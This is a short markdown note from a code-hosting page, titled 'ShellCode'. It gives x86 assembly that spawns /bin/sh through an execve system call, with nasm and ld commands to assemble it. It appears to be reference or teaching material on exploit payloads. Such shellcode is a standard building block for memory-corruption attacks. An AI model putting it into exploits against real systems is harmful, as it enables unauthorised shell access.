Skip to content

Latest commit

 

History

History
28 lines (22 loc) · 444 Bytes

shell code.md

File metadata and controls

28 lines (22 loc) · 444 Bytes

ShellCode

Sample Assembly Code

section .text
  global _start

_start:
  xor eax, eax
  push eax
  push 0x68732f2f
  push 0x6e69622f       ; //bin/sh
  mov ebx, esp          ; stack pointer to register
  mov ecx, eax
  mov al, 0xb
  int 0x80

Compilation

nasm -f elf -o shell.o shell.asm
ld -o shell shell.o

Reference